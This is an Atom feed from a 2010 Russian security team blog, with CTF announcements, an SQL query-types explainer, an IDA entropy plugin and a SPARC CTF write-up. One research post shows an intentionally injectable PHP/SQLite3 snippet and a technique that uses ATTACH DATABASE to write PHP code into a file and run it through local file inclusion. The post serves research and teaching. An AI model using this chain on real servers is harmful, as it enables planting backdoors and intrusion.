<?xml version="1.0" encoding="UTF-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
    <title>/var/log/smokedchicken.log</title>
    <link rel="alternate" type="text/html" href="http://smokedchicken.org/" />
    <link rel="self" type="application/atom+xml" href="http://smokedchicken.org/atom.xml" />
    <id>tag:smokedchicken.org,2009-12-10://1</id>
    <updated>2010-08-19T18:18:22Z</updated>
    
    <generator uri="http://www.sixapart.com/movabletype/">Movable Type 5.02</generator>

<entry>
    <title>LEET MORE CTF 2010 Announce</title>
    <link rel="alternate" type="text/html" href="http://smokedchicken.org/2010/08/leet-more-ctf-2010-announce.html" />
    <id>tag:smokedchicken.org,2010://1.44</id>

    <published>2010-08-19T08:13:08Z</published>
    <updated>2010-08-19T18:18:22Z</updated>

    <summary>СПбГУ ИТМО (организаторы CIT CTF) проводят очередные соревнования в жанре Capture The Flag. Организаторы обещают преферанс и куртизанокразвлечения всю игру помимо задач по криптоанализу, вирусному анализу, реверсу, администрирования *nix и др. CTF будет проводиться 8 сентября 2010, начиная с 7...</summary>
    <author>
        <name>盗賊</name>
        <uri>http://touzoku-security.blogspot.com</uri>
    </author>
    
        <category term="CTF" scheme="http://www.sixapart.com/ns/types#category" />
    
    <category term="announce" label="announce" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="ctf" label="ctf" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="leetmorectf" label="leet more ctf" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="sochictf" label="sochi ctf" scheme="http://www.sixapart.com/ns/types#tag" />
    
    <content type="html" xml:lang="en" xml:base="http://smokedchicken.org/">
        <![CDATA[<p>СПбГУ ИТМО (организаторы CIT CTF) проводят очередные соревнования в жанре Capture The Flag.<br />
Организаторы обещают <s>преферанс и куртизанок</s>развлечения всю игру помимо задач по криптоанализу, вирусному анализу, реверсу, администрирования *nix и др.</p>

<p>CTF будет проводиться 8 сентября 2010, начиная с 7 утра по UTC.<br />
Регистрация: <a href="http://ctf.ifmo.ru/registration/">http://ctf.ifmo.ru/registration/</a>.</p>

<p>Подробнее:<br />
Сайт &mdash; <a href="http://ctf.ifmo.ru/">http://ctf.ifmo.ru/</a><br />
Твиттер &mdash; <a href="http://twitter.com/citctf">@citctf</a></p>

<p>P.S. Этот CTF также называется SOCHI CTF 2010 почему-то.<br />
P.P.S. Организаторы не умеют пользоваться полем BCC в письмах, но это ж ничего страшного, спамеров то у нас нет. :)</p>]]>
        
    </content>
</entry>

<entry>
    <title>smpCTF writeup</title>
    <link rel="alternate" type="text/html" href="http://smokedchicken.org/2010/08/smpctf-writeup.html" />
    <id>tag:smokedchicken.org,2010://1.43</id>

    <published>2010-08-18T18:55:32Z</published>
    <updated>2010-08-18T19:15:54Z</updated>

    <summary>Совсем забыли выложить наши решения задач с smpCTF, на котором мы кстати заняли 6 место из 196 команд (649 человек). Среди русских команд мы первые. Непосредственно writeup доступен на сайте smpCTF (PDF, 310 Кб). Для тех, кто не доверяет продуктам...</summary>
    <author>
        <name>盗賊</name>
        <uri>http://touzoku-security.blogspot.com</uri>
    </author>
    
        <category term="CTF" scheme="http://www.sixapart.com/ns/types#category" />
    
    <category term="ctf" label="ctf" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="smpctf" label="smpctf" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="solution" label="solution" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="writeup" label="writeup" scheme="http://www.sixapart.com/ns/types#tag" />
    
    <content type="html" xml:lang="en" xml:base="http://smokedchicken.org/">
        <![CDATA[<p>Совсем забыли выложить наши решения задач с <a href="http://smpctf.com/">smpCTF</a>, на котором мы кстати заняли 6 место из 196 команд (649 человек). Среди русских команд мы первые.</p>

<p>Непосредственно writeup доступен на сайте smpCTF (<a href="http://ctf2010.smpctf.com/writeups/smpctf-smokedchicken-report.pdf">PDF</a>, 310 Кб).</p>

<p>Для тех, кто не доверяет продуктам Adobe и боится протрояненых pdf, &mdash; в <a href="https://docs.google.com/fileview?id=0B__5oC9HeBBWNzQ2ZGFjODUtMGY5YS00YzQ0LWIwMWQtZDBhNWNiN2NmYzNj&hl=en">google docs</a>.</p>]]>
        
    </content>
</entry>

<entry>
    <title>Этичные хакеры на СТС</title>
    <link rel="alternate" type="text/html" href="http://smokedchicken.org/2010/08/ethical-fuhackers.html" />
    <id>tag:smokedchicken.org,2010://1.42</id>

    <published>2010-08-09T11:19:25Z</published>
    <updated>2010-08-09T11:40:26Z</updated>

    <summary><![CDATA[Кто такие этичные хакеры? Не&nbsp;те&nbsp;ли это люди, которые говорят компьютеру &laquo;Ма&rsquo;ам, а&nbsp;не&nbsp;разрешите&nbsp;ли вам вдуть?&raquo;. Ведь можно и&nbsp;по&nbsp;роже схлопотать, но&nbsp;можно и&nbsp;вдуть, как говорилось в&nbsp;том анекдоте. В&nbsp;общем творчество ТВ, оно, понятно дело, популярное. В&nbsp;видео замечены следующие компании, что резонно и&nbsp;нормально: Эшелон, DSec,...]]></summary>
    <author>
        <name>盗賊</name>
        <uri>http://touzoku-security.blogspot.com</uri>
    </author>
    
        <category term="Fun" scheme="http://www.sixapart.com/ns/types#category" />
    
    
    <content type="html" xml:lang="en" xml:base="http://smokedchicken.org/">
        <![CDATA[<p>Кто такие этичные хакеры? Не&nbsp;те&nbsp;ли это люди, которые говорят компьютеру &laquo;Ма&rsquo;ам, а&nbsp;не&nbsp;разрешите&nbsp;ли вам вдуть?&raquo;. Ведь можно и&nbsp;по&nbsp;роже схлопотать, но&nbsp;можно и&nbsp;вдуть, как говорилось в&nbsp;том анекдоте.</p>
<p>В&nbsp;общем творчество ТВ, оно, понятно дело, популярное. В&nbsp;видео замечены следующие компании, что резонно и&nbsp;нормально: Эшелон, DSec, PT&nbsp;и&nbsp;Кашпировский. Информзащиты нет, оно и&nbsp;понятно&nbsp;&mdash; откуда там хакеры, гггг :)))). Но&nbsp;не&nbsp;это интересно.</p>
<p>Знатоки, внимание, вопрос! Кто такой нафиг Семен Алексеев? Заметьте, он&nbsp;входит в&nbsp;топ20 хакеров России, как он&nbsp;сам сказал, причем единственный&nbsp;&mdash; этичный. Видимо в&nbsp;ежегодном рейтинге ФСО/ФСБ участвует товарищ, какой молодец. Immunity Canvas прикупил (а&nbsp;может и&nbsp;скачал? :), на&nbsp;корку видимо денег не&nbsp;хватило.</p>

<p><object width="480" height="385"><param name="movie" value="http://www.youtube.com/v/jGd2WVSFsZU&amp;hl=en_US&amp;fs=1?rel=0&amp;color1=0x3a3a3a&amp;color2=0x999999"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/jGd2WVSFsZU&amp;hl=en_US&amp;fs=1?rel=0&amp;color1=0x3a3a3a&amp;color2=0x999999" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="385"></embed></object></p>

<p>P.S. Семен, если ты вдруг нагуглал этот сайт по своей фамилии, когда искал рейтинг топ 20 хакеров, то не ломай наш сайт, а то Чака Норриса позову.</p>]]>
        
    </content>
</entry>

<entry>
    <title>Уязвимость &quot;Hole 196&quot; в WPA2</title>
    <link rel="alternate" type="text/html" href="http://smokedchicken.org/2010/07/wpa2-hacked.html" />
    <id>tag:smokedchicken.org,2010://1.41</id>

    <published>2010-07-25T05:02:32Z</published>
    <updated>2010-08-14T13:28:33Z</updated>

    <summary>Хакеры из компании AirTight нашли уязвимость в WPA2, о которой они расскажут на Black Hat Arsenal и DEFCON18 в Лас-Вегасе 29 и 31 июля, соответственно. А еще 4 августа в 11:00 PDT (время по Калифорнии) AirTight проведет вебинар вот тут....</summary>
    <author>
        <name>盗賊</name>
        <uri>http://touzoku-security.blogspot.com</uri>
    </author>
    
        <category term="News" scheme="http://www.sixapart.com/ns/types#category" />
    
    <category term="vuln" label="vuln" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="wifi" label="wi-fi" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="wpa2" label="wpa2" scheme="http://www.sixapart.com/ns/types#tag" />
    
    <content type="html" xml:lang="en" xml:base="http://smokedchicken.org/">
        <![CDATA[<p>Хакеры из компании AirTight нашли уязвимость в WPA2, о которой они расскажут на Black Hat Arsenal и DEFCON18 в Лас-Вегасе 29 и 31 июля, соответственно.</p>

<p>А еще 4 августа в 11:00 PDT (время по Калифорнии) AirTight проведет вебинар вот <a href="https://admin.acrobat.com/_a1013426351/e86663687/event/registration.html">тут</a>.</p>

<p>Взято отсюда: <a href="http://www.airtightnetworks.com/WPA2-Hole196">http://www.airtightnetworks.com/WPA2-Hole196</a>.</p>

<p>UPD: Прикольно, кстати, название уязвимости они придумали, типа 196 страница стандарта IEEE 802.11 (где как раз про PTK и GTK речь и идет). </p>]]>
        
    </content>
</entry>

<entry>
    <title>Типы SQL-запросов в приложениях</title>
    <link rel="alternate" type="text/html" href="http://smokedchicken.org/2010/07/types-of-sql-queries.html" />
    <id>tag:smokedchicken.org,2010://1.38</id>

    <published>2010-07-05T18:27:15Z</published>
    <updated>2010-07-13T18:33:57Z</updated>

    <summary>В этом посте описаны различные виды SQL-выражений, которые можно встретить в приложениях, работающих с базами данных: embedded, static, dynamic, prepared, parameterized (bind variables) SQL. Данные типы не являются непересекающимися множествами. Например, embedded является способом записи, а bind variables используется как...</summary>
    <author>
        <name>Павел Збицкий</name>
        <uri>http://smokedchicken.org</uri>
    </author>
    
        <category term="Thoughts" scheme="http://www.sixapart.com/ns/types#category" />
    
    
    <content type="html" xml:lang="en" xml:base="http://smokedchicken.org/">
        В этом посте описаны различные виды SQL-выражений, которые можно встретить в приложениях, работающих с базами данных: embedded, static, dynamic, prepared, parameterized (bind variables) SQL. Данные типы не являются непересекающимися множествами. Например, embedded является способом записи, а bind variables используется как в статических (неявно), так и в динамических (явно) запросах.
        <![CDATA[<strong><big>1. Embedded SQL</big></strong><br>
Это способ записи SQL-выражений прямо в тексте программы. Выражения SQL обрамляются специальными тегами, которые препроцессором (прекомпилятором) преобразуются в конструкции языка программирования.
Наиболее известными являются DB2-прекомпилятор (для традиционных языков программирования для мэйнфреймов) и SQLJ.<br><br>
1) Пример для DB2 и C++:<br>
<pre><code>
EXEC SQL INCLUDE SQLCA;
EXEC SQL INCLUDE SQLDA;
EXEC SQL BEGIN DECLARE SECTION;
char Name[128];
EXEC SQL END DECLARE SECTION;
EXEC SQL SELECT * FROM Q.STAFF WHERE NAME = :Name;
EXEC SQL SELECT NAME :Name FROM Q.STAFF;
if (sqlca.sqlcode != 0L) {
...
}
</code></pre>

В первых двух строках подключаются DB2-структуры, используемые для контроля результатов выполнения SQL-выражений. В 3-й строке объявляется маркер начала блока хост-переменных (host variables)- переменных, которые можно использовать внутри SQL-запросов. 5-я строка заканчивает блок хост-переменных. В 6-й строке представлен запрос с хост-переменной, значение которой используется. Запрос в 7-й строке демонстрирует получение данных в хост-переменную. sqlca.sqlcode содержит код завершения предыдущего SQL-выражения. В последних версиях мэйнфрейм-компиляторов DB2-прекомпилятор может быть вызван неявно путем указания опции SQL прямо компилятору.<br>
<br>
2) Пример для Java с SQLJ и Oracle:<br>
<pre><code>
String Name;
#sql {
    SELECT NAME, INTO :OUT Name
        FROM STAFF
};
</code></pre>

<strong><big>2. Static SQL</big></strong><br>
Использование статических запросов позволяет снизить временную стоимость обращений к базе данных. Это достигается за счет введения дополнительного шага BIND, выполняемого один раз при установке приложения на указанную БД.<br>
После обработки файла с embedded SQL DB2-прекомпилятор создает особый DBRM (DataBase Request Module) файл, который содержит описание SQL-выражений во внутреннем формате. Для того, чтобы приложение могло взаимодействовать с БД, необходимо связать (BIND) SQL-выражения с БД, то есть, трансформировать DBRM в некоторую описательную сущность в БД, называемую <a href="http://ru.wikipedia.org/wiki/План_выполнения_запроса">планом </a>(PLAN). Из каждого исходного модуля приложения, взаимодействующего с БД, получается один DBRM. Соответственно, один план может содержать описания для многих модулей. Обыкновенно в этом случае план составляют из пакетов (PACKAGE), а каждый пакет из одной DBRM. Именно пакеты содержат информацию, необходимую БД для быстрого выполнения запроса. Заполнение этой информации будет происходить на этапе BIND еще перед запуском приложения. На этом же шаге происходит валидация запроса - проверка соответствия колонок, типов хост-переменных и т.д. фактическим объектам в БД.<br>
В примере для DB2 из п.1 оба запроса являются статическими - полная информация о запросе доступна исходя из вида SQL-выражения, будет сохранена DB2-прекомпилятором в DBRM, и впоследствии сохранена в виде пакета в БД при выполнении связывания (BIND). Если запрос размером в мегабайт, то BIND (построение оптимальной схемы выполнения запроса) может занять продолжительное время - до нескольких десятков минут, в зависимости от производительности сервера, но это время тратится один раз, и при выполнении большой запрос отрабатывает мгновенно.<br>
Также объединение static + embedded SQL присутствует в <a href="http://ru.wikipedia.org/wiki/PL/SQL">PL/SQL</a>, и, судя по всему, в хранимых процедурах на <a href="http://en.wikipedia.org/wiki/Transact-SQL">Transact-SQL</a>.<br>
<br>
<strong><big>3. Dynamic SQL</big></strong><br>
Динамические запросы применяют в тех случаях, когда неизвестен вид выполняемого запроса (например, в общих клиентах для БД), а также в скриптовых языках, когда о ни о какой компиляции / прекомпиляции не может быть речи. SQL-выражение указывается как строка-значение некоторой переменной. Перед выполнением данного выражение СУБД должна его разобрать и составить план. БД поддерживают осуществление такой подготовки явно (шаг prepare statement) или неявно. Запросы, которым prepare делается явно, называют <strong>prepared SQL</strong>. Это позволяет один раз подготовить план, а затем много раз быстро выполнять запрос.<br>
<br>
1) Prepared SQL для DB2:<br>
<pre><code>
EXEC SQL BEGIN DECLARE SECTION;
struct {
    short Length;
    char Statement[1024];
} PreparedStatement;
char Name[128];
EXEC SQL END DECLARE SECTION;
char *Query = "SELECT NAME FROM Q.STAFF";
PreparedStatement.Length = strlen(Query);
strcpy(PreparedStatement.Statement, Query);
EXEC SQL DECLARE SELECT_CURSOR FOR SELECT_STMT;
EXEC SQL PREPARE SELECT_STMT FROM :PreparedStatement;
EXEC SQL OPEN SELECT_CURSOR;
EXEC SQL FETCH SELECT_CURSOR INTO :Name;
EXEC SQL CLOSE SELECT_CURSOR;
</code></pre>
<br>
2) Non-Prepared SQL для DB2:<br>
<pre><code>
EXEC SQL BEGIN DECLARE SECTION;
struct {
    short Length;
    char Statement[1024];
} ExecutedStatement;
EXEC SQL END DECLARE SECTION;
char *Query = "INSERT INTO Q.STAFF (NAME) VALUES ('MEDVED')";
ExecutedStatement.Length = strlen(Query);
strcpy(ExecutedStatement.Statement, Query);
EXEC SQL EXECUTE IMMEDIATE :ExecutedStatement;
</code></pre>
<br>
DB2 не поддерживает SELECT-выражения для Non-Prepared SQL.<br>
<br>
3) Prepared SQL для MySQL:<br>
<pre><code>
char *Query = "SELECT NAME FROM STAFF";
mysql_stmt_prepare(stmt, Query, strlen(Query));
mysql_stmt_execute(stmt);
</code></pre>
<br>
4) Non-Prepared SQL для MySQL:<br>
<pre><code>
char *Query = "SELECT NAME FROM STAFF";
mysql_query(stmt, Query);
</code></pre>

<strong><big>4. Parameterized SQL</big></strong><br>
Это способ записи prepared SQL с указанием мест для хост-переменных.
Все статические SQL, в которых используются хост-переменные, являются параметризованными - явно отделены SQL-выражения от переменных, по-другому статический SQL не записать. Однако, термин "Parameterized SQL" как правило применяется к динамическим запросам. В строку запроса вставляются спецсимволы '?', и СУБД, при составлении плана, понимает, что при выполнении запроса нужно ожидать некоторое количество хост-переменных определенных типов. Так как план запроса составляется по "голому" запросу без значений переменных, то невозможно изменение запроса путем проведения SQLINJ.<br>
<br>
1) Пример для DB2 (на основе примера 1 из п.3)<br>
<pre><code>
char *Query = "SELECT NAME FROM Q.STAFF WHERE ID = ?";
...
EXEC SQL OPEN SELECT_CURSOR USING :Identifier;
</code></pre>
<br>
2) Пример для MySQL + JDBC:<br>
<pre><code>
PreparedStatement ps = conn.prepareStatement(
    "SELECT NAME FROM STAFF WHERE ID = ?");
ps.setString(1, Identifier);
ps.executeQuery();
</code></pre>
<br>
3) Пример для MySQL + PHP (самой распространенной и проблемной связки):<br>
<pre><code>
$link = mysqli_connect("localhost", "root", "", "mysql");
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}                                                                                   
if ($stmt = mysqli_prepare($link, 
        "SELECT User, Password FROM User WHERE User = ?")) {
    $user = "root";
    mysqli_stmt_bind_param($stmt, "s", $user);
    mysqli_stmt_execute($stmt);
    mysqli_stmt_bind_result($stmt, $res_user, $res_pass);
    mysqli_stmt_fetch($stmt);
    printf ("'%s' => '%s'\n", $res_user, $res_pass);
}
else {
    printf("Prepare failed: %s\n", mysqli_error($link));
}
mysqli_close($link);
</code></pre>
<br>
Какой вывод из этого повествования можно сделать? Использование хост-переменных для указания значений параметров, а также prepared SQL весьма просто, позволяет решить проблемы безопасности, а также, во многих случаях, повысить общую производительность приложения за счет уменьшения стоимости взаимодействий с базой данных.<br>]]>
    </content>
</entry>

<entry>
    <title>Получение шелла через SQLite3 в веб-директории PHP</title>
    <link rel="alternate" type="text/html" href="http://smokedchicken.org/2010/07/shell-via-sqlite3-and-php.html" />
    <id>tag:smokedchicken.org,2010://1.37</id>

    <published>2010-07-04T17:17:19Z</published>
    <updated>2010-07-12T17:23:59Z</updated>

    <summary> Допустим, обнаружено приложение на PHP+SQLITE3. Допустим, в нем имеются уязвимости LFI+SQLINJ. В этом посте хочу описать технику позволяющую в некоторых случаях подгрузить бэкдор на уязвимый сервер....</summary>
    <author>
        <name>Антон Сапожников</name>
        <uri>http://snowytoxa.blogspot.com/</uri>
    </author>
    
        <category term="Research" scheme="http://www.sixapart.com/ns/types#category" />
    
    <category term="php" label="php" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="sqlite3" label="sqlite3" scheme="http://www.sixapart.com/ns/types#tag" />
    
    <content type="html" xml:lang="en" xml:base="http://smokedchicken.org/">
        <![CDATA[<div style="text-align: justify;">
<p>Допустим, обнаружено приложение на PHP+SQLITE3. Допустим, в нем имеются уязвимости LFI+SQLINJ. В этом посте хочу описать технику позволяющую в некоторых случаях подгрузить бэкдор на уязвимый сервер.  </p> </div>]]>
        <![CDATA[<div style="text-align: justify;">
<p>
 </p><pre style="font-size: 9pt;"> &lt;?php
 $db = new PDO('sqlite:mysqlitedb.db');
 $db-&gt;exec('CREATE TABLE foo (id integer, bar STRING)');
 $db-&gt;exec("INSERT INTO foo (id,bar) VALUES (".$_GET[id].",'pwn me');");
 $result = $db-&gt;query('SELECT * FROM foo');
 foreach ($result as $row) {
     print $row[0].' '.$row[1]."&lt;/br&gt;\n";
 };
 ?&gt;
 </pre>
<p>
 Как вы успели заметить, в четвертой строке имеется уязвимость SQL Injection. Функциональные возможности sqlite3 не дают больших преимуществ исследователю в задаче получения шелла на сервере. Тем не менее, наше приложение имеет также другую уязвимость, позволяющую инклудить произвольные и не очень  файлы, осталось дело за малым создать такой файл!
 Sqlite3 позволяет на лету подключать файлы с базами данных:
 </p><pre style="font-size: 9pt;">attach database filename as mydatabasename;</pre> Самое интересное в том, что если файла с подключаемой базой данных не существует, то он будет создан. Наша задача записать в него наш шелл. Посмотрим, что представляет собой файл с данными в формате sqlite3:
 <pre style="font-size: 9pt;">0000  53 51 4c 69 74 65 20 66  6f 72 6d 61 74 20 33 00  |SQLite format 3.|
0010  04 00 01 01 00 40 20 20  00 00 00 0a 00 00 00 00  |.....@  ........|
0020  00 00 00 00 00 00 00 00  00 00 00 01 00 00 00 01  |................|
0030  00 00 00 00 00 00 00 00  00 00 00 01 00 00 00 00  |................|
0040  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
0060  00 00 00 00 0d 00 00 00  01 03 c3 00 03 c3 00 00  |..........ц..ц..|
0070  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
03c0  00 00 00 3b 01 06 17 13  13 01 5f 74 61 62 6c 65  |...;......_table|
03d0  66 6f 6f 66 6f 6f 02 43  52 45 41 54 45 20 54 41  |foofoo.CREATE TA|
03e0  42 4c 45 20 66 6f 6f 20  28 69 64 20 69 6e 74 65  |BLE foo (id inte|
03f0  67 65 72 2c 20 62 61 72  20 53 54 52 49 4e 47 29  |ger, bar STRING)|
0400  0d 00 00 00 09 03 8d 00  03 ec 03 d8 03 c4 03 b0  |......-..Л.ь.д.¦|
0410  03 a9 03 a2 03 9b 03 94  03 8d 00 00 00 00 00 00  |.L.-.?.¦.-......|
0420  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
0780  00 00 00 00 00 00 00 00  00 00 00 00 00 05 09 03  |................|
0790  01 01 01 01 05 08 03 01  01 01 01 05 07 03 01 01  |................|
07a0  01 01 05 06 03 01 01 01  01 05 05 03 01 01 01 01  |................|
07b0  12 04 03 01 29 01 54 68  69 73 20 69 73 20 61 20  |....).This is a |
07c0  74 65 73 74 12 03 03 01  29 01 54 68 69 73 20 69  |test....).This i|
07d0  73 20 61 20 74 65 73 74  12 02 03 01 29 01 54 68  |s a test....).Th|
07e0  69 73 20 69 73 20 61 20  74 65 73 74 12 01 03 01  |is is a test....|
07f0  29 01 54 68 69 73 20 69  73 20 61 20 74 65 73 74  |).This is a test|
0800
</pre>
<p>
 Удивительно, но интерпретатор PHP нормально его переваривает, если сделать ему include. Теперь наша задача - поместить в файл php-код. Для этого нам необходимо сформировать некую структуру, которая в формате sqlite3 выглядела бы как валидный php-код.  Поскольку в файлах хранятся данные таблиц и их описания, то другого выхода у нас нет, кроме как создать свою таблицу и в качестве данных записать в неё php-код. Дабы не иметь проблем с экранированием кавычек, создадим таблицу с данными типа INTEGER. Код будет следующий:
 </p><pre style="font-size: 9pt;"> attach database [/tmp/smkchk46187290] as smkchk46187290;
 create table smkchk46187290.smkchk ( x0 integer, x1 integer);
 insert into smkchk46187290.smkchk values (808464488, 1701604463);
 </pre>В результате появится файл с следующим содержанием:
 <pre style="font-size: 9pt;">0000  53 51 4c 69 74 65 20 66  6f 72 6d 61 74 20 33 00  |SQLite format 3.|
0010  04 00 01 01 00 40 20 20  00 00 00 02 00 00 00 00  |.....@  ........|
0020  00 00 00 00 00 00 00 00  00 00 00 01 00 00 00 01  |................|
0030  00 00 00 00 00 00 00 00  00 00 00 01 00 00 00 00  |................|
0040  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
0060  00 00 00 00 0d 00 00 00  01 03 b9 00 03 b9 00 00  |..........¦..¦..|
0070  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
03b0  00 00 00 00 00 00 00 00  00 45 01 06 17 19 19 01  |.........E......|
03c0  67 74 61 62 6c 65 73 6d  6b 63 68 6b 73 6d 6b 63  |gtablesmkchksmkc|
03d0  68 6b 02 43 52 45 41 54  45 20 54 41 42 4c 45 20  |hk.CREATE TABLE |
03e0  73 6d 6b 63 68 6b 20 28  20 78 30 20 69 6e 74 65  |smkchk ( x0 inte|
03f0  67 65 72 2c 20 78 31 20  69 6e 74 65 67 65 72 29  |ger, x1 integer)|
0400  0d 00 00 00 01 03 f3 00  03 f3 00 00 00 00 00 00  |......С..С......|
0410  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
07f0  00 00 00 0b 01 03 04 04  30 30 30 68 65 6c 6c 6f  |........000<b>hello</b>|
</pre> Слово hello, наших рук дело.
 Подобным образом записанный файл, содержащий phpinfo(), будет выглядеть следующим образом:
 <pre style="font-size: 9pt;"> &lt;...&gt;
07e0  00 00 00 00 1a 01 06 04  04 04 04 04 30 30 3c 3f  |............00<b>&lt;?</b>|
07f0  70 68 70 20 70 68 70 69  6e 66 6f 28 29 3b 3f 3e  |<b>php phpinfo();?&gt;</b>|
 </pre> А sql-код будет такой:
 <pre style="font-size: 9pt;"> attach database [/tmp/smkchk93313515] as smkchk93313515;
 create table smkchk93313515.smkchk ( x0 integer, x1 integer, x2 integer,
  x3 integer, x4 integer);
 insert into smkchk93313515.smkchk values (808467519, 1885892640,
  1885892713, 1852206888, 691748670);
 </pre> Теперь используя LFI-уязвимость мы инклудим наш файл и получаем вывод phpinfo().
 К посту приложен <a href="http://smokedchicken.org/sqllite3_php_shellcode.py">скрипт</a>, генерирующий sql-код для произвольного php-кода.<br /><br /><b>NB1:</b> Во избежание применения кавычек для обозначения имен файлов при создании таблиц в sqlite3 были использованы квадратные скобки (кредитсы уходят Марату). <br /><b>NB2: </b>Так же стоит отметить, что последовательные sql запросы возможны (кредитсы опять уходят Марату), но только в случае вызова из php-функции exec.<br /></div>]]>
    </content>
</entry>

<entry>
    <title>IDA Entropy Plugin</title>
    <link rel="alternate" type="text/html" href="http://smokedchicken.org/2010/06/ida-entropy-plugin.html" />
    <id>tag:smokedchicken.org,2010://1.36</id>

    <published>2010-06-18T20:33:37Z</published>
    <updated>2010-07-14T14:18:56Z</updated>

    <summary>Utility for entropy calculation of 32-bit executable and binary files is released. It can be useful for express searching of a file blocks with a high entropy - encrypted chunks, encryption keys, etc. Utility can be built as a IDA...</summary>
    <author>
        <name>Павел Збицкий</name>
        <uri>http://smokedchicken.org</uri>
    </author>
    
        <category term="Tools watch" scheme="http://www.sixapart.com/ns/types#category" />
    
    <category term="development" label="development" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="ida" label="ida" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="python" label="python" scheme="http://www.sixapart.com/ns/types#tag" />
    
    <content type="html" xml:lang="en" xml:base="http://smokedchicken.org/">
        <![CDATA[<p>Utility for entropy calculation of 32-bit executable and binary files is released. It can be useful for express searching of a file blocks with a high entropy - encrypted chunks, encryption keys, etc. Utility can be built as a IDA plugin and as a standalone program.<br />
It allows to calculate entropy of a sections of the file by utility launch, calculate entropy of any block of the file, build entropy map of a specified section.</p>

<p><img alt="ida-ent-gen.PNG" src="http://smokedchicken.org/2010/06/30/ida-ent-gen.PNG" width="440" height="305" class="mt-image-none" style="" /></p>

<p>Double-click on the row in ListView copies Address and Length to appropriate fields on the form. Calculate button shows entropy for a data block from StartAddress to StartAddress + Length. Draw button allows to build entropy map of the data block. ChunksSize specifies a length of chunks used for entropy calculation in this mode. And StepSize field is used as a indent between current and next chunks. Double-click on the map in IDA plugin mode allows to go to the specified location in IDA listing.</p>

<p><img alt="ida-ent-graph.PNG" src="http://smokedchicken.org/2010/06/30/ida-ent-graph.PNG" width="600" height="100" class="mt-image-none" style="" /></p>

<p>Deep Analyze button performs a lot of calculations from StartAddress to StartAddress + Length with a varying block size from 1 to ChunkSize and with StepSize indent. If calculated entropy value is greater than MaxEntropy for the chunk, it will be added to result report. Double-click on the row in IDA plugin mode allows to go to the specified location in IDA listing.</p>

<p><img alt="ida-ent-table.PNG" src="http://smokedchicken.org/2010/06/30/ida-ent-table.PNG" width="439" height="305" class="mt-image-none" style="" /></p>

<p>Launch feature in IDA plugin mode is IDA listing selection check. I.e. utility fills StartAddress, Length and pushes to Calculate button. To start utility as IDA plugin simply copy in to ./IDA/plugins/ and press F11 (default hotkey) or choose Edit -> Plugins ->Entropy plugin.</p>

<p>In standalone mode utility shows GetOpenFileName dialog when started without command-line parameters. Command line format is "ida-ent.exe [-sw] filename", where switches are one of the following: --binary (-b), --pe (-p), --elf (-e). By default utility tries to determine file format (PE, ELF)  by checking signature.</p>

<p>UPD: Overlay (non-empty data block in the rest of file) detection was added in standalone mode for PE (checked) and ELF (not checked). Problem with a window focus in plugin mode was fixed. Also utility was released under GNU GPL.</p>

<p>Sources (for MS Visual C++ 2008 EE) and precompiled standalone utility, IDA Pro 5.5 plugin, IDA Free 4.9 plugin are available in the <a href="http://smokedchicken.org/2010/07/04/ida-ent.7z">archive</a>.<br />
</p>]]>
        
    </content>
</entry>

<entry>
    <title>DC18: bin500</title>
    <link rel="alternate" type="text/html" href="http://smokedchicken.org/2010/05/dc18-bin500.html" />
    <id>tag:smokedchicken.org,2010://1.35</id>

    <published>2010-05-29T07:42:23Z</published>
    <updated>2010-05-29T10:03:11Z</updated>

    <summary>Binary500 является исполняемым ELF&apos;ом для SPARC V9. Дизассемблированный листинг на первый взгляд похож на смесь IA32 + ESA/390 в синтаксисе AT&amp;T. После знакомства с архитектурой и используемыми соглашениями, все становится на свои места: Процессор имеет 32 64-х битных регистров общего...</summary>
    <author>
        <name>Павел Збицкий</name>
        <uri>http://smokedchicken.org</uri>
    </author>
    
        <category term="CTF" scheme="http://www.sixapart.com/ns/types#category" />
    
    <category term="ctf" label="ctf" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="разбор" label="разбор" scheme="http://www.sixapart.com/ns/types#tag" />
    
    <content type="html" xml:lang="en" xml:base="http://smokedchicken.org/">
        <![CDATA[<p><a href="http://smokedchicken.org/2010/05/29/b500.7z">Binary500</a> является исполняемым ELF'ом для SPARC V9. Дизассемблированный листинг на первый взгляд похож на смесь IA32 + ESA/390 в синтаксисе AT&T. После знакомства с <a href="http://www.sparc.com/standards/SPARCV9.pdf">архитектурой</a> и используемыми <a href="http://n.ethz.ch/~ddukaric/zusammenfassungen/Buecher/SPARC%20Architecture.pdf">соглашениями</a>, все становится на свои места:<br />
Процессор имеет 32 64-х битных регистров общего назначения: global %g0-%g7, out %o0-%o7, local %l0-%l7, in %i0-%i7, 32 регистра FPU и систему быстрых, но простых команд длиной 32 бита каждая. Некоторые регистры имеют особое назначение: %g0 всегда содержит ноль, %o6 также известен как %sp (stack pointer), %i6 - %fp (frame pointer), %o7 содержит адрес текущей инструкции при выполнении вызова подпрограммы и используется для определения адреса возврата. Регистры %o0-%o5 используются для передачи аргументов в процедуры, команда, save сохраняет и меняет mapping регистров в процедуре, и %i0-%i5 будут содержать значения из %o, то есть, переданные аргументы. %o0 содержит возвращаемое значение из процедуры.<br />
